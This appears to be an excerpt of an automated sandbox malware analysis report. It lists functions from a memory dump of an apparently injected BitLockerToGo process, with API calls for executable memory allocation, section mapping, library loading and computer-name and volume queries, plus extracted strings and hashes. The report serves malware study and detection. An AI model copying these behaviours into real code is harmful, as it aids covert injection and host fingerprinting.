Uniqueness

Uniqueness Score: -1.00%

Function 00770B61 Relevance: 3.1, APIs: 2, Instructions: 57nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 00770B86
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00770BDB

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 056b7349913918c313741fa9308db8e37e42ace55866cb019ee0006aba2bd64e
Instruction ID: 6468babf5f5bb3f1b9985bc128a3762a1d13b7114fbca93e70d447be3fc20fab
Opcode Fuzzy Hash: 056b7349913918c313741fa9308db8e37e42ace55866cb019ee0006aba2bd64e
Instruction Fuzzy Hash: 3C1102321447209FE766CA24CC04FAA33E4F706320F05461EE6B7CB5D0DB74B4028B94

Uniqueness

Uniqueness Score: -1.00%

Function 00765DA9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

*-, xrefs: 00765E74
j`), xrefs: 007661F6

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *-$j`)
API String ID: 0-3419245872
Opcode ID: a3c42c031d1313b9b143bb1d0731c95f0ec1a985a90e35f65d186c4cc016a9e6
Instruction ID: 2abab5c7f8e6741e216fa3f0e16140866321fb0b440476b3ae0cd65ac280539a
Opcode Fuzzy Hash: a3c42c031d1313b9b143bb1d0731c95f0ec1a985a90e35f65d186c4cc016a9e6
Instruction Fuzzy Hash: B7C1FFB15183818BD724CF14C891B6FBBF1BB82344F544D1CE9929B292E379D90ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00783E87 Relevance: 1.5, APIs: 1, Instructions: 28nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,?,00000002,00000000,00000002), ref: 00783EC3

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 04543f2ca70cd5f3cba44e0f4a3eddc0dba4059776490794fe4b331852f7a706
Instruction ID: a4063564c941072cb0072372bcbe7f807449f6bfd5632212a9bf8da3a593024f
Opcode Fuzzy Hash: 04543f2ca70cd5f3cba44e0f4a3eddc0dba4059776490794fe4b331852f7a706
Instruction Fuzzy Hash: 89F03974280340BFE770AF24EC92F1137A1BB05710F605608F652AAAE2CBB67C128B18

Uniqueness

Uniqueness Score: -1.00%

Function 00783EE2 Relevance: 1.5, APIs: 1, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 00783F03

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 766c6d7873e258501240378df3ee8d8231895f5ca2cd728fedab8fe815ab9cc4
Instruction ID: 0d07df2062428638091c146770c5e2403dab2a10dc34c453949fd2d639548838
Opcode Fuzzy Hash: 766c6d7873e258501240378df3ee8d8231895f5ca2cd728fedab8fe815ab9cc4
Instruction Fuzzy Hash: 87E0CD31118690AFC325DF24ECB18253F71AF0A20130444DFD5C2C3673D52A9D15CF29

Uniqueness

Uniqueness Score: -1.00%

Function 00783E33 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtOpenSection.NTDLL(?,00000004), ref: 00783E4D

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: OpenSection
String ID:
API String ID: 1950954290-0
Opcode ID: b20d6716b243acb632a7b7a64e86d324c1f1b5c42cd30622ee3454eaaec01ec9
Instruction ID: 3ecd7ade30b34dd2850e4bdeb6fda4b7e14033ef5d2b0bef8b47401b781c70a6
Opcode Fuzzy Hash: b20d6716b243acb632a7b7a64e86d324c1f1b5c42cd30622ee3454eaaec01ec9
Instruction Fuzzy Hash: BAD05EB8140180BBC614AB24EC82E353329A71430AB446419E353C62A3CA26AD138B68

Uniqueness

Uniqueness Score: -1.00%

Function 00763CF3 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

Hz, xrefs: 00763D09

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: Hz
API String ID: 1449868515-251937793
Opcode ID: 38a13e3c3f059af6e89b0dd25de0c75b68b8d7e73f0bef416db291b240417599
Instruction ID: 5dae8d17572ec0d7719afbc8c7a715b04947020262b9f0cbb809ff9510b50898
Opcode Fuzzy Hash: 38a13e3c3f059af6e89b0dd25de0c75b68b8d7e73f0bef416db291b240417599
Instruction Fuzzy Hash: 49C012B5D9005097B505DF20AC8283A72744783158B54A468F80FD7302EA28F119867B

Uniqueness

Uniqueness Score: -1.00%

Function 007667E0 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49be72ebc706f722f9507b5d78ec1aacfd17fdeca536bca8a19ad450c30bdb6
Instruction ID: c61072e948b5efa3f48a3263c4c2fcc2d6db13f214dd7500cbb51b303a6e2f3a
Opcode Fuzzy Hash: d49be72ebc706f722f9507b5d78ec1aacfd17fdeca536bca8a19ad450c30bdb6
Instruction Fuzzy Hash: F1C198B05083218BC724CF14C8A176BB7F1FF91368F588A1CE8965B395E7799905CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 0077802C Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e684b29b1b845c456586cc647f45db3e852c774ef77de65e8eee44938c35692
Instruction ID: c711f519d1cb71c350e3e6fa97cc065db4ca74e5792d2098edeaa6d039a4fded
Opcode Fuzzy Hash: 7e684b29b1b845c456586cc647f45db3e852c774ef77de65e8eee44938c35692
Instruction Fuzzy Hash: B7F0A5741483419FD714EF28C5A4B5ABBF0FB88308F45886DE5869B390D7B89944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0077589C Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00775A21

Strings

8, xrefs: 00775931
S, xrefs: 007758D1
T, xrefs: 007758B1
Q, xrefs: 007758C1
:, xrefs: 007758F1
m, xrefs: 00775959
0, xrefs: 007758E1
E, xrefs: 00775901
b, xrefs: 00775941
C, xrefs: 00775921
A, xrefs: 00775911

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: 0$8$:$A$C$E$Q$S$T$b$m
API String ID: 2525500382-3407828523
Opcode ID: 4b996778652ed36cd0318fca016ebd623725a961caab95527c072524e1489f4e
Instruction ID: 3c5eb4079488a0f3f3d1e7f923c448701982d22e4a7670b7570b059c15b3a878
Opcode Fuzzy Hash: 4b996778652ed36cd0318fca016ebd623725a961caab95527c072524e1489f4e
Instruction Fuzzy Hash: C151C17010C7C18ED731CB28C45878BBBE1AB96314F088E5DE4E88B392C7BA8549CB53

Uniqueness

Uniqueness Score: -1.00%

Function 0078342C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 007835FC

Strings

]_, xrefs: 00783579
Y%[, xrefs: 00783580
|Qy, xrefs: 00783510

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: |Qy$Y%[$]_
API String ID: 1029625771-4044080206
Opcode ID: 89e07b17f6fa7082d5e59c33e046b89ebfa498ab4bfbdaf54f9dbd6c0fa771ea
Instruction ID: eeee6228fcfb6af7df8a677b6c16fe6ae3b992f86659997ec2c53616191d1525
Opcode Fuzzy Hash: 89e07b17f6fa7082d5e59c33e046b89ebfa498ab4bfbdaf54f9dbd6c0fa771ea
Instruction Fuzzy Hash: FC51FDB0500A42EFC319DF28EC61A29FBB2FB55702B24861EC08657755E738A563CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00758CA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00758D28

Strings

eleet or leetspeak, is a system of modified spellings used primarily on the internet. it often uses character replacements in ways that play on the similarity of their glyphs via reflection or other resemblance, xrefs: 00758CE1

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: ExitProcess
String ID: eleet or leetspeak, is a system of modified spellings used primarily on the internet. it often uses character replacements in ways that play on the similarity of their glyphs via reflection or other resemblance
API String ID: 621844428-3721107060
Opcode ID: a07a072b7b8a047a3f1bac1d51d339d48d54fd0389c60d98d92264ad106af0b3
Instruction ID: a95ce477cf50bd415e8179d7c8808f9a1339539376c58f8cd1b4a003a59ab1b2
Opcode Fuzzy Hash: a07a072b7b8a047a3f1bac1d51d339d48d54fd0389c60d98d92264ad106af0b3
Instruction Fuzzy Hash: 8C014F70A09300DBDAD03B74990A6EA76F46F29353F300666EC92751C1EEAC454DA7F7

Uniqueness

Uniqueness Score: -1.00%

Function 007732A6 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 387COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 007733CF

Strings

|FX#, xrefs: 007732B6

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: |FX#
API String ID: 3960555810-2764019556
Opcode ID: 755adc55bf4c2b7b6c4d35f40c699fc5aacdc82ce50953f8b5bec4f7ed850951
Instruction ID: 928b38d3dd3d05862c00b84fb129c08c6fb51af670dd927337941c9d79dde6ea
Opcode Fuzzy Hash: 755adc55bf4c2b7b6c4d35f40c699fc5aacdc82ce50953f8b5bec4f7ed850951
Instruction Fuzzy Hash: 7CD17C70505B81CBE72A8F34C464BE3BBE1BF56344F14895DD0EB8B692C77AA50ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 00772354 Relevance: 3.6, APIs: 2, Instructions: 630COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 007727BD
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 007728B8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: d799cc5eff2d12e4c1bfecacdc62557fdccbfd4cc3597444b6b13ba71707a70f
Instruction ID: f230198f055180e7abef24ae4d034a688cd9eaa5ef14feb350c0f4ecf9bf376a
Opcode Fuzzy Hash: d799cc5eff2d12e4c1bfecacdc62557fdccbfd4cc3597444b6b13ba71707a70f
Instruction Fuzzy Hash: 6A326270105B808AEB368F35C494BE3BBE1BF16345F48495DD4FB8B282D77AA50ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00772357 Relevance: 3.6, APIs: 2, Instructions: 604COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 007727BD

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: b79d40264c187380475026a44c929d67a52645cfe605b52a17e40d497ad7dd7f
Instruction ID: 4bac99ef2aa6d1365f5f8f1d56c2879e80884dcf8fb8acb4c7a57835ac94db5b
Opcode Fuzzy Hash: b79d40264c187380475026a44c929d67a52645cfe605b52a17e40d497ad7dd7f
Instruction Fuzzy Hash: 78326270105B408AEB36CF35C8A4BE3BBE1BF16345F44495DD4EB8B282D77AA50ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 0077188A Relevance: 3.6, APIs: 2, Instructions: 585COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 007727BD
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 007728B8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 4ba8935903e93de44d0470bab7e51a764d5c2bc75b622e8d0bf52278943ca1f8
Instruction ID: 0e83f471ae9986379f4ed7d9f7c14d405cbcd096a3588392b2e15f06aec3fcff
Opcode Fuzzy Hash: 4ba8935903e93de44d0470bab7e51a764d5c2bc75b622e8d0bf52278943ca1f8
Instruction Fuzzy Hash: E8228170145B818BEB368F34C464BE3BBE1BF16344F48495DD4EB8B682D73AA50ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 00784848 Relevance: 1.6, APIs: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 007848EF

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 358a3cf8ab7a5e2f5d02d307f613c479b1542a66505dc5cafba0a73c76fa592b
Instruction ID: 3c7a86f113a210c9f8f32d01e6e78a573470f69c34ca59b0d3f414da05a3eb47
Opcode Fuzzy Hash: 358a3cf8ab7a5e2f5d02d307f613c479b1542a66505dc5cafba0a73c76fa592b
Instruction Fuzzy Hash: DE318F32B442518BC718CF28C891B1AB7E6FBC5314F198A2DF852C77A1D7B8D8028B85

Uniqueness

Uniqueness Score: -1.00%

Function 00784996 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 00784A2F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d3acc63319384850cf7873c6fe3ddc0a43a1daa4aba5db0b308c3212d61cd587
Instruction ID: c600bd95533f34146b2480432019ba3dc182751ef469fd72e0655ddee62ebdb4
Opcode Fuzzy Hash: d3acc63319384850cf7873c6fe3ddc0a43a1daa4aba5db0b308c3212d61cd587
Instruction Fuzzy Hash: B72158716583418BE708CF28C894B1BB7E2FBC5315F149A1CF485C7391D7B8D8468B86

Uniqueness

Uniqueness Score: -1.00%

Function 00783665 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007836E8

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1d9c829e315f58a642094ed03a873b62cec21e125280a7ecbdda087f53f5b085
Instruction ID: 6895d478320d8ae945e6766b8f8bc074a7d0e4d00f42ad87e941ec26ca46da76
Opcode Fuzzy Hash: 1d9c829e315f58a642094ed03a873b62cec21e125280a7ecbdda087f53f5b085
Instruction Fuzzy Hash: D1115E75205642AFD318DF29C460A26B7B2FF85340B248A1DC08647B51DB39F562CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 007852CD Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00785358

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68743d9ed15fb893504a669af34c00e28742e3775e8e961b90730f4b048a1cb9
Instruction ID: a4d1741db1e0f56e8ef99b447d779cd032552988145f6761913f73ab59596877
Opcode Fuzzy Hash: 68743d9ed15fb893504a669af34c00e28742e3775e8e961b90730f4b048a1cb9
Instruction Fuzzy Hash: 89015371A083509FE700CF14D88474FFBA2EBC0328F24CA0DE8A817645D379E94A8BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00781E00 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5a1a224243a813033369a6208aadc632e75c3b1483fd5b678fca190655b15d20
Instruction ID: 008279d160d0a968f4378923381aa4ee89385adb00eb944db052d4d6cad22e30
Opcode Fuzzy Hash: 5a1a224243a813033369a6208aadc632e75c3b1483fd5b678fca190655b15d20
Instruction Fuzzy Hash: F1117C306083519BDB0CCF24D86076FB7A6EBC5325F14CA1CE8A947A81D73499168BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00781EE6 Relevance: 1.5, APIs: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00781F77

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b4cd2b4b33d68ae353c1ca9cd7071460d9557fa77c5d93d62c3c504776bf0590
Instruction ID: 044d6a06e28f1e6ff02a93c510dbf9138e17b8967100fb6213a76fbf4fadb1d6
Opcode Fuzzy Hash: b4cd2b4b33d68ae353c1ca9cd7071460d9557fa77c5d93d62c3c504776bf0590
Instruction Fuzzy Hash: 860105701093419FD708CF04D8A4B5BBBE6FBD4318F648A4DE8A506681D379D916CB82

Uniqueness

Uniqueness Score: -1.00%

Function 007804C2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 007804EF

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 0e8d903443479be746cc012d9e08b784ccac68faee03240e4512de327d4da095
Instruction ID: d617b4820e15d1e62b3bf55b6ce89cf050b54e57415f13eba6582fd60ad48ff5
Opcode Fuzzy Hash: 0e8d903443479be746cc012d9e08b784ccac68faee03240e4512de327d4da095
Instruction Fuzzy Hash: 2EE08675780342B7E7289B20EC63F1936959740744F24881EB202E51E0D7B4B5118A1C

Uniqueness

Uniqueness Score: -1.00%

Function 0078464F Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00784650

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 315a22772d07792e62854df17c5ea134bb40ae4e44d73078ddd826398c633c44
Instruction ID: de3d4783eed1d5f97d0449864f37c45e9002dda072d8f405fc07dfd477927cc0
Opcode Fuzzy Hash: 315a22772d07792e62854df17c5ea134bb40ae4e44d73078ddd826398c633c44
Instruction Fuzzy Hash: E5B09268249200ABC24CE7A4DC91A36339FEBD9204314E40A81466262BC6385943879C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0076D000 Relevance: 19.9, APIs: 4, Strings: 7, Instructions: 605nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 0076D301
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0076D347

Strings

M1b7, xrefs: 0076D1AB
Q98?, xrefs: 0076D1B9
MC, xrefs: 0076D86B
b%K+, xrefs: 0076D196
B-K3, xrefs: 0076D1A4
_)X/, xrefs: 0076D19D
Q5G;, xrefs: 0076D1B2

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: B-K3$M1b7$Q5G;$Q98?$_)X/$b%K+$MC
API String ID: 292159236-1609293853
Opcode ID: aedcd3db46c5713af5c895f0d9cfb6f8a2eb4e3a6342bbc66ed6d15af9ad889d
Instruction ID: b3fcd864028fbf2c0bc3974daf3bca3cd1ac6fec83230d0fd780cfbb43293958
Opcode Fuzzy Hash: aedcd3db46c5713af5c895f0d9cfb6f8a2eb4e3a6342bbc66ed6d15af9ad889d
Instruction Fuzzy Hash: 233257B1600B04CFE724CF25C884B97BBE1FB49304F648A2DD5EB8B691E779A445CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00759290 Relevance: 15.4, Strings: 12, Instructions: 351COMMON

Download Yara Rule

Strings

ur{, xrefs: 007592DC
"TP, xrefs: 00759665
"&W , xrefs: 0075966D
ys, xrefs: 0075968D
-."!, xrefs: 0075967D
*)%*, xrefs: 00759675
bX\K, xrefs: 007593C8
1=;5, xrefs: 00759484
*(:2, xrefs: 00759474
?i?r, xrefs: 007592E7
h, xrefs: 00759694
bs, xrefs: 007592D1

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "TP$"&W $*(:2$*)%*$-."!$1=;5$?i?r$bs$bX\K$h$ur{$ys
API String ID: 0-486410413
Opcode ID: b0745b277fd8f3b9fa97e29e94d3718ce7dcfa0db5b9a694f0222cfdc58db94c
Instruction ID: 8d7e47247bcfc29b052b67c565e1fad8ba9ae413b70912a29f0a2a62436b3a46
Opcode Fuzzy Hash: b0745b277fd8f3b9fa97e29e94d3718ce7dcfa0db5b9a694f0222cfdc58db94c
Instruction Fuzzy Hash: 71D16CB050C3818BD726CF25C49079BFBE0BF96345F144A5CE8E95B292C379D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00769732 Relevance: 14.1, APIs: 9, Instructions: 587nativelibrarymemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,-00000002), ref: 00769795
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007698A1
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007698FE

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AddressAllocateFreeProc
String ID:
API String ID: 1025261326-0
Opcode ID: 7e14f222837cab9709b5b23a23afc2a27682cb212356c692b42db3279611fde5
Instruction ID: a981572aa7eb1cdf08b46ba2952f41d0f95b2e61dfb8f94343688059a2f85989
Opcode Fuzzy Hash: 7e14f222837cab9709b5b23a23afc2a27682cb212356c692b42db3279611fde5
Instruction Fuzzy Hash: 1E22AC71208341DFE724CF14C850B6BB7E9FF89314F158A2CE9AA9B390D7789905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0076A9F4 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0076AB30
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0076AB60

Strings

W^, xrefs: 0076ACBA
RH, xrefs: 0076ACAC

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: RH$W^
API String ID: 237503144-3064825618
Opcode ID: 7217f92b361fd3e1dc7c5710cc8ce28d458803619145ed631137155c0e58e071
Instruction ID: 9a1ed89d89b6ba0e17c758b6b7c697ada18f5944a23a0aff60c9488860bbef8d
Opcode Fuzzy Hash: 7217f92b361fd3e1dc7c5710cc8ce28d458803619145ed631137155c0e58e071
Instruction Fuzzy Hash: A3D165B41007019FD7248F15D894B52BBB1FF45324F118A9CE8AA8FBA6D778E846CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00774DE2 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 222COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00774DEC

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

Strings

b, xrefs: 00774F9A
i, xrefs: 00774FC2
f, xrefs: 00774FA2
t, xrefs: 00774FBA
k, xrefs: 00774FB2

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: AllocateHeapString
String ID: b$f$i$k$t
API String ID: 983180023-3297489608
Opcode ID: 547a5c6f85a40bc941e19907d4ade7547de5b0db8b4e86e79a346506c2af6808
Instruction ID: 8acf2b5a32c39d43fb038d095841a6b79f5e98059b9a99d04964d9a1e0966af6
Opcode Fuzzy Hash: 547a5c6f85a40bc941e19907d4ade7547de5b0db8b4e86e79a346506c2af6808
Instruction Fuzzy Hash: 9A91913160D7818FD725DB28C4907EBBBE2BB96360F198A2CE4D98B3D1D7798845C742

Uniqueness

Uniqueness Score: -1.00%

Function 00775152 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 219COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 0077515C

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

Strings

